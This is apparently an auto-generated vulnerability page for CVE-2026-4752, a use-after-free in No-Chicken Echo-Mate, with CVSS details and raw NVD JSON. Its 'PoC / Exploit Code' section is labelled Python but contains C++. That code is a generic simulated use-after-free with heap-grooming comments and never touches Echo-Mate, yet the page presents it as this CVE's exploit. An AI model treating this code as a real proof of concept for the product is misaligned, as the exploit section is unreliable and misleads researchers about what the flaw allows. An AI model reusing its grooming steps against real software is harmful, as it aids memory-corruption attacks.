Security Vulnerability Report
中文
CVE-2026-4752 CVSS 6.4 MEDIUM

CVE-2026-4752

Published: 2026-03-24 06:16:24
Last Modified: 2026-05-05 20:38:41

Description

Use After Free vulnerability in No-Chicken Echo-Mate.This issue affects Echo-Mate: before V250329.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

No-Chicken Echo-Mate < V250329

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <iostream> #include <cstdlib> #include <cstring> // Simulated vulnerable class structure class EchoObject { public: virtual void process() { std::cout << "Processing data..." << std::endl; } virtual ~EchoObject() {} }; // Global pointer to simulate the dangling pointer scenario EchoObject* g_ptr = nullptr; void trigger_vulnerability() { // Step 1: Allocate object g_ptr = new EchoObject(); // Step 2: Free the object (Simulating the bug) delete g_ptr; // Note: g_ptr is not set to nullptr, creating a dangling pointer } void exploit_uaf() { // Step 3: Allocate memory to occupy the freed space (Heap grooming) // In a real exploit, this memory would contain malicious code pointers void* fake_obj = malloc(sizeof(EchoObject)); memset(fake_obj, 0x41, sizeof(EchoObject)); // Step 4: Use After Free // The vulnerable code attempts to use g_ptr without checking if (g_ptr) { g_ptr->process(); // Crashes or executes code from fake_obj } free(fake_obj); } int main() { trigger_vulnerability(); exploit_uaf(); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4752", "sourceIdentifier": "[email protected]", "published": "2026-03-24T06:16:23.553", "lastModified": "2026-05-05T20:38:41.080", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use After Free vulnerability in No-Chicken Echo-Mate.This issue affects Echo-Mate: before V250329."}, {"lang": "es", "value": "Vulnerabilidad de Use After Free en No-Chicken Echo-Mate. Este problema afecta a Echo-Mate: antes de V250329."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://github.com/No-Chicken/Echo-Mate/pull/5", "source": "[email protected]"}]}}